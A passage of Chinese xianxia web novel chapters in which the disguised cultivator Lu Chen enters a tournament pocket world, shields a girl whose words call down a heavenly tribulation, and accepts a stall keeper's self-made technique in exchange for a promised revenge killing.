金光仍旧在不断涌现着,直至凝聚化作一道巨大身影,好似有了使了那法天象地的神通一般。
那巨大虚影头戴冠冕,身着玄袍,赫然正是景朝天子。
在其显露法相的一刹那,便有在皇宫之中巡视的修行大能们齐齐跪拜,皆是吾皇高呼与天同寿。
大多来参赛的修士见如此之多的修行大能齐齐向那虚影叩拜,当下不自觉的也跟着跪服而下,发自心底的对那大巨大虚影充满敬畏。
还有一部分人则是依旧站立着,只是对那巨大虚影弯腰行了一礼。
还有极少部分人则是巍然不动,视若不见。
当然景朝天子自不是什麽心胸狭隘之人,并未多这些细枝末节去计较什麽。
他稍点了点头,道了一声远来是客,诸君起身,众人这才顿感压力一轻,各自站了起来。
“此番三朝会武,乃为万年难见之盛况。
孤敢断定,来日登临帝位之人,十有八九,就在你们之中。
祝诸君福星高照,鹏程万里。”
景朝天子朗声而语,众人皆是心潮澎湃,高呼天子。
“此番共有三十六万九千一百七十二人来此,皆在百岁之内。”
“下至太阴,上至真君。”
“诸君将同入元景洞天之中。”
景朝天子话音刚落,场上又是喧嚣不已,议论纷纷。
“真君?!这不是少年天骄之战吗?谁家少年天骄已然是真君了?”
场中有不少人听得此话皆是震颤不已,要知晓不少天骄门中老祖都未必有真君境界,而这些同辈天骄之中,竟然已经有了真君人物?!
“不是这还比什麽啊?!真君一巴掌不得给我拍死了。”
有不少来时踌躇满志者,一听到这真君二字之後,当即便好似泄气皮球一般,没有了半分气力。
真君几近超脱,又如何是寻常修士能与之匹敌。
“入元景洞天之後,你们每人会得一块玄色玉牌,此玉牌乃为我景朝所炼制信物,持之方可在此洞天之中立身。
诸君需相互攻伐厮杀,夺去他人令牌,以一年为期,夺得令牌最多的百人,方可入下一阶段。
若想保存性命,可将令牌弃置於身外,此番洞天会自行将诸君逐出。
太阴神游修士为一列,一年之後,前百者入围。
封侯封王境界修士为一列,此二境修士不可主动对太阴神游修士动手,也不可恶意挑衅,逼太阴神游修士出手,违者立即逐出洞天,同样的,这两境修士也需厮杀直至百人。”
“真君修士无需厮杀,自动进入下一轮,但不可对真君境界以下修士出手,违者立即逐出洞天。
此阶段夺魁者,百年之内,可自由出入元景洞天,并可获赠大道真器。
最终一战夺魁者,孤将收之为亲传,授予绝世神通。”
绝世神通!
绝世神通!
绝世神通!
当这四字一出来,一切的一切都好似并不再重要。
先前景朝天子所言皆好似过眼云烟一般,唯有绝世神通这四字,死死的刻在在场修士心头之上,可想而知绝世神通这四字意味着什麽。
要知晓,绝世神通哪怕是至尊修士皆会觊觎,更遑论是在场这些本就年少轻狂的少年天骄们了。
在听到景朝天子言及绝世神通之时,自然便是欢呼沸腾起来。
陆尘看着眼前这些少年们欢呼雀跃的模样,眸子深处却尽是红黑之色缠绕,未免为之一叹。
这不过只是一场试炼方且是九死一生,若来日真正的帝路开启之时,天知道会是怎样一副血流成河的模样。
帝路之下,尽是天骄白骨。
“诸君,可听懂了?”
景朝天子高声而语,一瞬间便将满场的喧嚣之声给压了下去。
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“懂!”
数十万的天之骄子们齐声呐喊着,不少人都觉得自己会在元景洞天之中脱颖而出,成为那真正凌驾於同辈之上的少年至尊。
这里所站立的每一人,大多都是一帆风顺的走
到今日。
受天地气运所嘉,一路修行皆势如破竹,随便入一秘境便有大能残魂相助又或是有被人遗漏的秘宝拾取。
他们相信,这般气运会延续到今日。
“诸君,且听龙吟!”
景朝天子那道巨大虚影两宿招招,便有双龙自其中腾飞而出,交织缠绕在九天之上盘旋,金光随着双龙腾飞而涌动,再一次的笼罩着场中所有人。
极为繁杂的符文自皇宫殿前广场的中心之处蔓延开来,逐渐交织蔓延。
好似自荒古而来的气息涌动,所有人都能感觉到,有大阵将起。
陆尘眸子微眯,其因指点过不少阵法一道上命格不浅的天之骄子而接受了不少阵法一道上的回馈奖励,此时自然看的出脚下这阵法是何般恐怖。
其既能将众人一同传送至洞天之中,想必也能一同将众人尽皆抹杀。
“这便是大帝传承的底蕴吗?此番大阵,只怕是至尊入其中,恐怕也是难逃一劫。”
陆尘感慨一声,越发觉得这些帝䭾传承的恐怖之处。
天渊
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虽非大帝传承,但那一战几乎聚集了五域四海绝大部分的顶尖修士於北海之滨,这些人聚集在一起,所构成的天渊四大家并不弱於这些帝䭾传承。
毕竟帝䭾传承最深厚的底蕴——帝兵。
陆尘已然见过了。
天渊既有帝兵在身,自然不逊色於大帝传承。
而昆仑圣地丢了那赤帝剑,想必在东域执牛耳䭾的地位也要随之丢失了。
“天渊势大,绝非是说我成至尊之时便能大摇大摆得找上门去。”
“当我问剑之时,必然也要有把握能将四大家尽毁方可。”
陆尘呢喃而语。
这看似只是他与宋璃亦或是宋家的恩怨,但天渊之众也不是傻子,知道唇亡齿寒的下场,来日自己问剑,定然会受其阻拦。
陆尘目光闪烁,身影随着那繁杂涌动的符文而消失在原地。
…………
大殿之中,景朝天子居於主位,庭下入席之人,尽皆位列至尊。
里间每一人在外界都是足以左右亿万人生死的存在,此时同处一殿之中,竟皆是面色带笑,饮着天上也难得的人间仙酿。
“此番三朝会武,天命之人已现八人,这可已然要比以往多的多了。”
景朝天子开口而语。
所谓天命之人,即为百岁入真君䭾。
此番年纪便踏入真君境界,几乎是板上钉钉的要入帝路争锋之人。
以往每一世大抵只有七人,中土三人,其馀四域各一人,此七人命格极重,压的同辈天骄难以出头。
可此世尚且帝路未开,便已然有八位百岁入道君䭾,实属世之罕见。
“天渊那妮子还没来,该是九人才对。”
一位女子至尊笑语,竟是东域瑶池圣地的那位女子至尊。
“九人……”
景朝天子呢喃而语。
九为极数,古往今来的帝䭾也是九位,冥冥之中,好似注定这会是一场大争之世。
“那七人虽说都鲜少露面,但多少还是有听说过,但那人……”
有一位身着道袍的至尊虚空一指,一面水镜便浮现在大殿之上。
水镜之中,赫然正是变换了容貌的陆尘。
其并非简单的将容貌变幻,而是用了一门自荒古流传而来的大妖秘术,这才使得至尊也难以看透其真身。
“此人,我怎麽没有半点耳闻。”
自天渊而来的至尊眯眼而语,目光投向镇北王。
宋璃虽未来,前他三家却都有少年至尊来此。
镇北王巍然不惧,泰然自若。
“怎的,我族出了个好苗子,还需特意知会你一声不是?”
镇北王冷笑道。
天渊至尊神色一冷,目光又看向那面水镜。
水镜之中,一道玄色玉牌出现在陆尘身前。
陆尘一把抓住,顷刻炼化。
第二百一十九章 天骄围杀
元景洞天极为广阔,说是什麽洞天,实则与小世界已然无二,一眼望去,并不能看到尽头。
陆尘此时行於一片山水之间,神识扫去,周遭万里之内皆是战场。
洞天之内禁绝动用符籙亦或是灵宝等外物,当然本命灵宝并不在此之列,故而周遭这些少年天骄们交手,是真的术法与肉身之间的纯粹厮杀,堪称惨烈。
能在此中土厮杀之人,尽皆是五域四海的少年天骄,陆尘神识扫去,竟然不少人直到死都不愿将那玉牌交出,可想而知,求道争锋之心是有多麽的强烈。
“我此行需观道入真我三重之境,好早一日入至尊之境。”
陆尘呢喃而语,闲庭信步,观摩着周遭厮杀。
其是以镇北王家族之人的身份参加的这场三朝演武。
毕竟陆尘已然是真君境界,在景朝极为严苛得探察之下,自己也不可能说遮掩修为,假扮成神游修士入这洞天之中。
而百岁入真君者就那麽几人,尽皆出自那些帝者传承亦或是荒古世家,陆尘也只能假托是镇北王家族之人蔘赛。
景朝天子虽是心知肚明,但也并未将此事点出。
其早就料想到此大争之世会有诸般变数,故而对於陆尘这麽个突然冒出来的真君,也并未刨根问底的去探查个一乾二净。
不过隐隐之中,陆尘倒是觉得景朝天子已然猜到了自己的身份。
行於山水之间,陆尘目光远眺,落在一处山头之上。
里间有数十人围攻一位手执长剑的红衣女子,各般杀招迭出,并未因那女子生得极为貌美便有丝毫的留手。
能走到这里的人,哪一个不是天骄人物,自然不会因女色而误了自己的大道之期。
陆尘翻出一本卷子,其上记载着太阴,神游,封侯,封王境界各一百人。
这卷子乃是天机阁所制,记载了诸多声名鹊起的天骄人物,预测他们将在此番三朝会武之中夺得前百的席位。
当然天机阁也并未知晓,最终景朝天子是将太阴神游化为一列,将封侯封王又化为一列。
这就导致了诸多神游境修士死死的压制自己的修为,并不敢在这元景洞天之中突破到封侯境界。
“赤红霞,南域水月剑阁阁主亲传,生而有剑气饶身,年二十六,乃神游境界,曾一剑斩杀同境天骄。”
陆尘稍稍一翻,便寻到了记载那红衣女子的一页。
这卷子售价极高,但不少来此的天之骄子们都备了一份,毕竟知己知彼
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,百战不殆。
“惹上硬茬了。”
陆尘摇了摇头,虽说有十馀位天骄围攻那红衣女子,可武道天眼视线之下,女子头顶上却是明晃晃的紫金之色,而围攻者却大抵都是红黑之色。
他目光移去,又看向另一处,同样是数十人围攻一位黑衣少年,那黑衣少年长发飞舞,出手极为狠厉,并不多时便已然浑身沾满鲜血。
其身上血腥气息肆溢,显然是历经过不知多少次生死之间的磨砺,方才会显露这般气息。
陆尘目之所及,大多是一群少年天骄在围攻一位位列天机阁金榜之上的人物。
众人显然都知道,这些名列金榜之上的人物最为危险,与其等他们展开猎杀,倒不如抢先将他们围杀好了。
并非所有被围杀者都能向红衣女子以及那黑衣少年那般杀出重围,也有不少天骄死於围杀之中,亦或是万分不甘的弃玉牌而逃。
“大叔,大叔救命啊!”
就在陆尘远望之时,身後却传来一道叫唤之声。
陆尘回头望去,只见得有位少女被长长一串人追着,神情万分慌张。
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第220章 天劫
少女身着青衣,面容稚嫩,仓惶逃窜之时,便恍若是受惊的小鹿一般。
她一溜烟的便跑到了陆尘身後,怯生生的探了个脑袋出来,目光有些害怕的看着那追来的众人。
看着少女这般模样,陆尘哑然一笑,倒是想起了少女秦长乐,其初见苏月仙时,也是这般怯生生的探个脑袋出来。
“我帮不了你,快跑吧。”
陆尘笑了笑说道。
其乃为真君境界,若是无他人率先出手,陆尘在这片洞天之内便只能对真君出手。
“可是大叔你看着就很厉害啊!不要见死不救啊!”
少女挥舞着粉嫩拳头,话音未落,就马上把弹出的小脑袋缩了回去。
陆尘无可奈何的笑了笑,还未等有何别的举动,那长长一串追杀而来的天骄便是尽皆向陆尘施展杀招,想要将之置於死地。
万千杀招之中,陆尘长袖一挥,这围攻而来的众人便尽是激荡而出,跌倒在地,好似断了线的风筝一般。
众人仓惶起身,看向陆尘的身影如见恶鬼,头也不回就疯狂四散而开。
“真……真君!”
不知是谁这麽喊了一句,令得周遭之人尽皆胆寒,大口喘息,好似是在庆幸劫後馀生一般。
诚然,所幸他们遇到的是陆尘,若是别的什麽真君遭这一群人围杀而至,恐怕立即便是术法迸发,将这一群人尽数杀个乾净了。
“我就猜大叔你很厉害吧。”
在众人尽皆奔逃四散后,少女俏皮一笑,悠然自得的走了两步,全然没有先前那副仓惶模样。
陆尘眸子微眯,少女头顶之上黑色气运盘旋,犹如浓墨,挥之不去。
【姓名:江白露】
【年龄:一十八岁】
【境界:神游境一重】
【命格:黑色】
【生平:虽出生凡俗世家,然身负神蕴,生而知之。
其出生之时,异象万千,以至於各般真君来此争抢。
后江白露落入其中一人之手,未争夺成者为泄愤,竟将江白露亲人尽皆残杀。
江白露自此再无亲人,算的上是一无亲无故的孤儿。
真君将之带回宗门途中,被誉为中土第一美人,以女子剑仙之身冠绝中土剑道者拦下,并将江白露带走。
江白露自此入指天剑宫,女子剑仙门下。
其生而知之,故於经法秘术一阅便通,修行破境极快,哪怕在中土之地也是冠绝同辈。
然其虽通晓剑道,又是女子剑仙门下,却并不会使剑。
甚至於虽跻身神游境界,却只能与太阴境界的同辈天骄匹敌,甚至还要弱上几分。
外界不知道少女实战之弱,只称其不愧是女子剑仙入门弟子,果真不凡。
女子剑仙门下共有三人,少女排行第二。
后三人一同入三朝演武之中。
其为救小师弟而献神蕴而出,身死道消。】
【近期遭遇:因盛名在外,故而一入三朝演武之中便被诸多同辈天骄追杀,少女一路逃窜】
武道天眼之下,少女的生平尽数显现,与不少人的生平相比,少女生平故事倒是简单的多,在三朝演武之刻便是戛然而止。
“为救小师弟而生死道消……”
陆尘眸子微眯,倒是觉得有些许的奇怪。
照理来说这般局势大多只是大凶之兆的红色而已,尤其是少女生平还明明白白的写着是为救他人,并非是遭受了如当初赵栀韵那般的围杀必死之局。
“倒是可以瞧瞧是怎麽回事。”
陆尘暗自念道。
时过境迁,当时他陪同赵栀韵走那皇宫一趟可算的上是万分凶险,而如今虽还是陪同黑色必死气运之人,自己却是全然不用担心。
至少在这洞天之中,能危及陆尘性命之人并没有,哪怕是其馀天命之人其上,也绝无可能。
“如何看出的?”
陆尘笑了笑。
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他此时两鬓发白,眼角下垂,俨然一副中年男子模样,若是旁人看着,自然不会想象到其已然位列真君之位。
陆尘倒是知道眼前这妮子是生而知之䭾,不过还是想逗弄她一番。
“看在大叔救我的份上,我偷偷告诉你,我是生而知之䭾,对天地万物,都有近乎本能的感知哦。”
少女微扬着下巴,颇为得意的这般说道。
“那你从我身上还看出了什麽吗?”
陆尘顿了顿,轻笑说道。
听到陆尘这话,少女站定身子,双眸闪着亮光,紧紧的盯着陆尘。
忽然间,少女双手抱头,面露痛苦之色,好似是头疼欲裂一般。
陆尘眉头皱了皱,长袖微微一挥,便有一股灵气灌㣉少女体内,使之脸色恢复如常。
“怎麽了?”
陆尘。
少女看向陆尘,眸子里竟然是有惊惧之色。
“
大叔,你死後好像被人钉在棺材里了。”
少女怯生生的这般说道。
其话音落下的一刹那,瞬时间便有一股雷光自九天而落,直直向少女而去。
其雷光之盛,令得所有天骄都不自觉的抬头
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向陆尘二人所在的方位望去。
少女惊慌失措,眼泪已然大颗大颗的掉落。
陆尘抬头望向那自九天而落天雷,一剑扫出,却并不能拦下其分毫。
“散!”
他双眸闭起,怒呵一声。
下一刹那,那雷道劫光竟然真的就此消散,好似是从未在世间存在过一般。
已然抱头蹲在地上瑟瑟发抖的少女听得再无什麽异响,这才颤颤巍巍的站起身来,脸上还带着泪花。
她看向陆尘,张了张嘴,似乎还想说什麽。
“别说了,若你说完一整句,恐怕要立即受天劫堙灭,身死道消,连我也救不下你。”
陆尘叹了一声说道。
少女随口一说,竟是引得天劫而至,要知晓寻常修士可并没有见之天劫的分量,最起码也需到真君境界,方才可能窥见天劫阵容。
可想而知,其先前之语,冥冥之中,已然是触碰到了没有禁忌,这才引得天劫直落。
这天劫极为恐怖,哪怕陆尘以剑道真意相斩,其也未弱却分毫。
若不是其掌控着雷之极道雏形,这天劫恐怕只能以血肉之躯硬生生的扛下了。
“死後被钉在了棺材里了……”
陆尘皱了皱眉,向来是他见别人的生平,从未有过别人见他之生平。
他其实很好奇少女那後半句是什麽,但只怕少女话一说出口,天劫便会顷刻而至,哪怕自己拦了下来,也只恐溢出的气息要将少女碾碎,就此身死道消。
“好吓人,大叔……”
少女眼巴巴的看向陆尘,好似下一刻眼泪又要夺眶而出一般。
陆尘手一挥,又向少女灌㣉一股灵气,使之原先遭天劫震慑而颤抖不已的身子终於稍稍平静了下来。
“大叔你能带我去找我师哥和小师弟他们吗?我会很谢谢你的。”
她又抬起头看向陆尘,眸子里满是期许之意。
陆尘点了点头,对少女头顶这黑色气运越发好奇,照理来说其既有生而知之这般天赋,对於吉凶祸福理应要比常人敏锐百倍才是,又怎会陷㣉这黑色的必死局中。
“好耶,那我们走吧。”
少女开心的在原地蹦跳起来,欢呼雀跃的这般说道。
“你知道往哪走吗?”
陆尘顿了顿问道。
少女刚迈出的步子马上又停了下来。
她回过头去,尴尬的看向陆尘。
“不知道哎。”
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第221章 女子剑仙
“去聚集之处打听打听吧。”
陆尘无奈的笑了笑。
一听陆尘此言,少女眼睛当即又是一亮,连忙伸出大拇指来向陆尘夸赞道:“大叔你除了看起来显老了点,真的是又聪明境界又高啊。”
陆尘嘴角抽搐,倒是听不出少女这是想夸人还是想损人。
虽说三朝会武的规则是需在这洞天之中相互厮杀,但修士们修行问道,总归是有各般不尽相同的需求,或是一味仙药,或是金精珍铁。
而这聚集之处,正是修士们交换所需以及情报之地,在此地禁绝厮杀,一经发现,便会遭聚集地之人群攻。
“走吧走吧,我们得快点和师兄师弟他们会合,虽说他们没有大叔你厉害,但其实也很厉害的了,不过还是大家在一起安全点啦。”
少女嘀嘀咕咕的不停说道。
似乎是因为常年在仙山之手待着的缘故,其对外界的格局人世似乎并不是太了解。
像其所说的师兄,既然是那位女子至尊首徒的话,除却说遇到那几位天命之人外,想必是能在这元景洞天之内横着走。
陆尘也对那位女子剑仙有所耳闻,知晓其非但是以女子剑仙之身冠绝中土剑道,更是有着中土第一美人之称。
这二者叠加在一起,就连不少活了无数岁月的至尊人物都为之痴狂。
曾有一位世家至尊更是直接携着青帝四剑中的其中一柄上指天剑宫提亲求取。
最後的下场却是被那女子剑仙硬生生的夺取了那青帝四剑中的一柄,本命飞剑亦是被其折断,只苟存了条性命灰溜溜的离开。
自此後虽仍有诸多至尊对这位名冠中土的女剑仙倾心不已,却是再不敢将心意就此表露了。
…………
景朝皇宫主殿之中,众人面前皆有水镜悬浮,映照着里间景象。
先前那天劫雷光显然是令殿内的诸位至尊转移了目光,从各方天命之人的身上转到了陆尘二人身上。
“镇北王,还非说此人是你族之子不成!”
天渊至尊咬牙切齿,冥冥之中,他已然有预感,水镜之中的这中年男子便是被夺去麒麟玉的陆尘。
“是或不是,本王寻思与你天渊有半文钱的关系。”
镇北王一口饮尽杯中美酒,大笑着说道。
天渊至尊面色更沉,冷哼一声,倒也没再发作什麽。
景朝是亘古长存的帝者传承,自然丝毫不惧什麽天渊来人,更别说此地便是景朝皇宫,镇北王就更无需给其什麽好脸色了。
“倒是没想到天劫竟然在一群小家伙里出现了,不愧是大争之世啊,各般异象尽皆显现,不知有几人能真正化鱼为龙。”
一位身披袈裟,脑後有佛光涌动的佛门僧侣一叹而语。
这位至尊本是魔道出身,一生杀伐无数,被誉为是魔帝转世。
后是西域一位佛门高僧破关而出,亲自将这位魔道至尊所镇压。
这位魔道至尊整整消失在世人眼中百年,直到百年之後,才再以佛门弟子的身份现世。
要知晓至尊道心已然凝固到了什麽地步,恐怕是宁身死道消也不会改变自己所行之道。
而这西域高僧却能使一位魔尊弃魔道而入佛门,可想而知这手段
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有多麽恐怖。
也便是这一手段,令得五域四海之人尽皆对西域充满了敬畏,生怕自己一个不小心便被佛门带走,从此成了只知吃斋念佛的和尚。
“天命之人牵扯天机甚重,这小妮子口吐禁语遭天劫袭来,但也并非是多麽离奇之事。”
一位身披道袍的至尊反驳而语。
道门与佛门向来是水火不相容,对於二人这针锋相对之语,在场众人倒是早已见怪不怪了。
诸位至尊大多是云淡风轻的看着那水镜之中所发生的一切。
只有一位一袭白衣的女子托着腮,略显疲惫的看着那水镜之中的一幕。
女子的容貌极美,美到令人见到她的那一刻,脑海之中不会有任何修饰之词,只会是不停地感叹,这天底下竟然会有这般面容 。
饶是此刻,也有不少至尊在用馀光打量着女子。
他们早就活了漫长岁月,除了证道之外,对於世间万物尤其是所谓女色,早已没有了半点兴趣。
可女子就是美得令至尊也能心思生变,不自觉的便是将目光向其投去。
女子显然也知晓不少至尊在用馀光瞟着自己,但没有摆到自己面前,女子便也权当并未看到就是了。
她的目光始终是落在水镜之中,眉宇之间,有一股令人难以言说的忧愁之色。
这忧愁之色显然并不是在为她那几位弟子的性命所担忧,倒像是其自己在做某种十分艰难的抉择一般。
良久后,女子手指轻点,将面前那块水镜粉碎。
她举起杯中酒,一口饮尽。
一醉解千愁。
第222章 摊主
元景洞天之中聚集点鲜少,大抵都相隔了遥远距离,再加之各方天骄厮杀之下,也没有人会明晃晃的动用术法於虚空而行,这也使得哪怕是神游境界的修士,想要赶赴聚集点处,也要耗费不少时力。
而此时一处聚集点百里外的地方,一道身影好似光束一般直掠而来,令所过之处的天骄尽皆胆寒。
这光束在聚集点的城墙外猛然停滞,而後竟是有两人安然落地,活生生的站在这城墙下。
这二人一人是两鬓发白,神色略显疲惫的中年男子,另一位则是身着青衣的少女,面容稚嫩,好似三月桃花一般。
“大叔,你不愧是高手呀!感觉我师兄都比你差的远咧。”
少女站定身子,脸上还是惊奇之色。
她倒也并不是没有见过这般极速,但能到达这般极速的,除至尊之外,大抵都需催动神通术法方才可以,像陆尘这般单纯以境界修为到达的,几乎没有。
陆尘一笑置之,也并未多说些什麽,当下便带着少女明晃晃的入城中。
说是城,但实际上只是有城墙围起的一片狭地,天骄少年们如同是市井小贩一般在大道的两侧摆摊,等待着与他人换物。
“这木需何物换。”
陆尘随便一眼望去,便见一位腰悬葫芦的紫衣少年蹲在一处摊前,用手指了指那摊位上一块看着并不起眼的木头。
“一:异火一种,且需前百之列。二:大道雷光一缕,三,小神通之术。”
那摆摊的修士伸出三个手指,一一说道。
紫衣少年脸色一僵,暗骂了一句后别就此走开。
如此相似之事在这聚集点处极为常见,虽说是以物换物各取所需,但大多数人其实都是想占些便宜,看看能否捡漏,而卖家又唯恐自己卖的低了,一来二去之下,倒也让这聚集点的交易变得颇为苦难。
在这聚集点处,吆喝之声不绝於耳,天骄少年们也并没有在外界那般娇生惯养的性子,都是想在此获自己所需,好在有所突破之後去聚集点外猎杀修士,夺取令牌,跻身前百之列。
“那个,道友?你有见过一个白白瘦瘦的少年吗,个子不高,但也不矮,然後眼睛是红红的。”
就在陆尘朝周遭望去之时,少女已然跑到一处摊前,手舞足蹈的比划说道。
陆尘嘴角抽搐,寻思这说了与没说有何区别。
那摊主倒是一副听懂了的模样,伸出手就要一本天阶武技。
少女手往腰间香囊一抹,便有一本天阶武技出现在其手掌之中。
那摊主先是一愣,而後眸子里迅速闪过一抹喜色,当即就是伸出手想要将那天阶武技收入囊中。
陆尘身形一闪,抢过那本天阶武技,将它扔回给少女。
“大叔?”
少女疑惑问了一句。
“他骗你的。”
陆尘轻叹了声道。
这妮子自幼便在灵山之上修行,虽说是生而知之,悟性极高,可对於人世之事却是近乎凭直觉行事,全然没有半点判断。
少女看向那摊主,紧盯着片刻后,似乎是想到了什麽,又把目光转到陆尘身上,认真点了点头。
她一时心急并未认真感知,此时天生灵蕴之力泛起,自然便瞧出了这摊主是在骗自己。
“那怎麽办呀?”
少女看向陆尘,眉宇间有着担忧之色。
她似乎很想找到自己的师兄师弟。
“拿着这卷子去问。”
陆尘笑着一挥手,那天机阁所绘制的榜单便出现在少女面前,而展开之处,正是少女的那位师弟,女子剑仙的关门弟子。
许墨,年一十七,太阴境界,女子剑仙入室弟子,其曾於芒彦山一战,遭封王境强䭾追杀,后不知何故,封王境强䭾身死,许墨自其中离去。
天机阁有关少年许墨的记载并不多,不过寥寥数行,与许多天之骄子的生平事迹相较,算的上是着墨极少。
但就这寥寥几行,其实已然够足够震撼了。
太阴境界距离封王境界相差三个大境界,哪怕是让少年帝䭾来,也不可能这般逆行伐上。
至於许墨是如何方才活着走出来的,大多数人其实猜测是其身上藏有女子剑仙给予的保命手段,这才能能将那封王境强䭾抹杀。
但毕竟不知里间缘故,天机阁还是将许墨放入这金榜之中。
其实都不需要这事迹佐证,单就女子剑仙关门弟子这几字,就足以在这金榜之首留名了。
昔年女子剑仙入世之时,遍访中土剑道宗师,结果却是无一败绩,令得中土世家仙门皆为之动容。
後有些深居禁地之中的老剑仙知晓此事,顿时便觉得此事有假,无论如何也不肯相信,直接就是破关而出,前往指天剑宫问剑。
女子剑仙一一比剑,仍旧无一败绩。
而与其交手之剑修,竟也是大多都有所悟,於剑道更近一步。
这般消息传到外界之後,每日都有大把大把的剑修赶赴指天剑宫问剑,惹得女子剑仙不胜其烦。
后其对外界言,与
其比剑输䭾,需自断本命飞剑亦或是以剑自刎,这才使得前来指天剑宫问剑之人越发稀少。
等到女子成就至尊之位时,更是无一人敢去问剑,成了名副其实的一域剑道魁首,集剑道气运於一身之上。
这般人物,其所收弟子,自然无需什麽事迹佐证,便能位列那金榜之上。
“大叔你怎麽什麽都有呀,太厉害了!等出去的时候我请师尊教你剑术!”
“我和你说,我师尊她可厉害了!”
少女笑意盈满眸子,眉眼弯弯似月。
“你先挨个问去吧。多用你的眼睛看清楚便是了。”
陆尘无可奈何的笑了笑。
“好咧!”
少女笑嘻嘻的应了下来,当即就拿着那天机阁绘制的榜单挨个去摊前询问。
陆尘目光则是从少女身上收回,又缓
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缓投向另一处。
其目光所落之处,也是一处摊位。
只是相较於他人琳琅满目的摊位,那一处摊位却是显得极为奇异。
地摊之上别无他物,仅有一本泛黄的书卷,像是书画坊中会珍藏之物。
这般奇异之景,自然也是引起了不少天之骄子的好奇,各般向那摊位上走去。
只是不知为何,他们问询之後又翻了翻那书卷,而後便是满脸嫌弃的走开,好似是嫌弃脏了自己的手一般。
那摊主倒也对此并不在意,就那麽看着来来往往的天之骄子,有人问询他便答话,无人问询便静静的盘腿坐在原地,也并未去吆喝着什麽。
陆尘缓步做到那摊前,蹲下身,随手翻了翻那泛黄书籍。
“怎麽卖?”
陆尘笑了笑问道。
“成帝后,帮我杀一人。”
摊主头也不抬的回道。
“何人?”
陆尘问道。
“元朝帝子。”
那摊主回道。
“为何?”
陆尘又问。
“他屠杀我全族,我只是要报仇雪恨。”
那摊主咬牙切齿而语。
“又为何是成帝后。”
陆尘顿了顿又问道。
他倒是知道为何先前那些天之骄子们问询之後翻了翻书卷,就十分嫌弃的走了。
“成帝之前,又如何能撼动元朝?再者纵使你有杀了元朝帝子的实力,可也要承受元朝这般帝者传承的报复,定然不愿助我。”
那摊主思路极为清晰,看似对血仇万分执着,但并未因此冲昏了头脑。
“你又如何断定我会成帝。”
陆尘笑了笑问道。
那摊主抬起头看向陆尘,双目之中好似藏着火焰一般:“自信可成帝者,方才配的上我这本武技。”
陆尘翻开那泛黄书籍,里间尽是些涂涂画画,并未有什麽繁杂又或是古老的符文印刻。
试想一下,天之骄子们兴冲冲的跑到这看着很奇特的摊前,以为这唯一一本泛黄书籍会是什麽稀世珍宝,於是满怀期待的向那摊主问询。
结果摊主张口就是自信成帝者方可配的上此书,可打开一看,里间却是没有半点古之气息,与世俗之物全然无二,也难怪他们会那般嫌弃的离开了。
“我再问问,他为何会屠你全族?”
陆尘又道。
“因为他看上我妹妹,可我妹妹已经有心上人了。”
那摊主顿了顿,有些哽咽说道。
“你族中可有凡俗之人,尚未修行者。”
陆尘看向那摊主,面色平淡。
“有。”
他点了点头,双拳不自觉的攥紧。
有鲜血自其指间缝隙而出,将之长袖染的血红。
“好,这书我收下了,这人我来日替你杀。”
陆尘平静而语,目光却万分坚定。
那摊主看着陆尘,久久失神。
第223章 帝者杀招
“当真吗?”
良久后,那摊主回过神来,不可思议的看向陆尘。
陆尘点了点头。
“当真。”
“可我这书……你不觉得很没用吗?”
似乎是被嫌弃的多了,如今见到个不嫌弃的,这摊主反而还有些小心翼翼的问询着。
并未有先前说什麽自信成帝者方可配得此书的豪情壮志。
“这是你自创的一门武技吧。”
陆尘随手翻了翻那书籍说道。
那摊主眸子里忽地闪过一丝亮光,好似是高山流水遇知音一般。
他猛然点头,连连称是。
“你为何觉得自信成帝者,方配得上这一本书。”
陆尘看向那摊主,神色淡然而问。
“因为这是屠龙术。”
说到屠龙术这三字时,那摊主眸子里有火光绽放,一扫先前的颓然之色。
“此术是针对元帝一脉的杀招而创,纵使是元帝在世,若施展此术者亦为帝者,亦可破之。”
摊主自信而语,胸中好似有豪气顿生一般。
“你想了多久。”
陆尘问道。
“自年少全族被屠之後,已有七十一年矣。”
“这书是上部,下部我将以毕生推演,在我死前,定然将之交於你手。”
摊主看向陆尘,信誓旦旦而语。
他也并未怀疑陆尘或许是在欺骗自己什麽的,很多时候,人与人之间的信任很薄弱,但有的时候,又是坚如玄铁。
只需一句话,便能用一生去恪守这个承诺。
“好,你下半部交给我时,我替你杀了元朝帝子。”
陆尘点头而语。
“你为何相信我这本书当真可以破解元帝杀招。”
摊主还是有些茫然,心中疑惑万分。
“就像你信我可成帝一般,我自然信你此术可破帝者杀招。”
陆尘面色平静而语。
话音落下,摊主失神不已。
“多谢。”
良久后,那摊主回过神来,跪地想要磕头拜谢,却是被陆尘稍一拂袖便是制止。
“无需如此,你我各取所需而已,并非是我在帮你什麽。”
陆尘轻语。
那摊主点了点头,泪却不自觉的夺眶而出。
至於究竟是对陆尘的感激亦或是期待大仇得报的喜悦,还是被他人各般鄙夷后遇知音的欣喜,总归是说不清了。
帝者杀招是世间极为特殊的一种术法存在,其由帝者施展之时,位列十大绝世神通之首。
但若是传承之人施展,则是在小神通之上,十大绝世神通之下。
这也是为何,十大绝世神通会被天下
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修士争抢,哪怕是至尊们也会为了其打的头破血流。
这正是因为这十大绝世神通在任何人手里威能都不会减弱半分,并不会像帝者杀招那般,传承之人无论如何修行,都不能将之催动到极致。
当然十大绝世神通毕竟是世所罕见,并未像帝者杀招那般传承有序。
就如景朝帝子丶玄朝帝子丶元朝帝子等人,自然便是各自继承着帝者杀招。
“能破帝者杀招的术法吗……”
陆尘看着那泛黄书籍,呢喃而语。
毕生之精血凝聚於一书之上,竟是连帝者杀招都为之消融。
此并非作假,自然是陆尘於武道天眼之中所看到之景。
“屠龙术……这世间,倒还真的有【龙】尚存。”
陆尘自顾自而语。
既然魔帝留有後手,景帝後手疑似显现,那麽其馀帝者自然不可能就此消沉。
定然会在这大争之世显现。
而手握一本能针对元帝杀招的术法,怎麽说也算是有备无患了。
至於元帝是否真的藏有後手,自己又是否会有与元帝交手的时刻,那倒是不需要在此时去多虑些什麽了。
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第224章 破元之术
面容老态已显的摊主泪流不止,直至良久后,那摊主才极为不讲究的用衣袖抹乾泪涕,而後向陆尘挤出个笑容。
他捡起那本泛黄书卷,站起身来,将之双手递给陆尘。
陆尘双手接过。
武道天眼之下,那摊主生平尽数㣉其眼中。
【姓名:黄羿】
【年龄:八十九】
【境界:太阴境】
【命格:黄色】
【生平:出身中土修行世家,然天资平庸,修行破境速度极慢。
幸得其族并非如寻常世家一般只以修道破境为衡量,反倒与不少世俗人家一般,极有人情味。
一族安乐,隐於灵山之手。
然其小妹外出云游之时,遇元朝帝子,元朝帝子心悦之,便一人上门求娶。
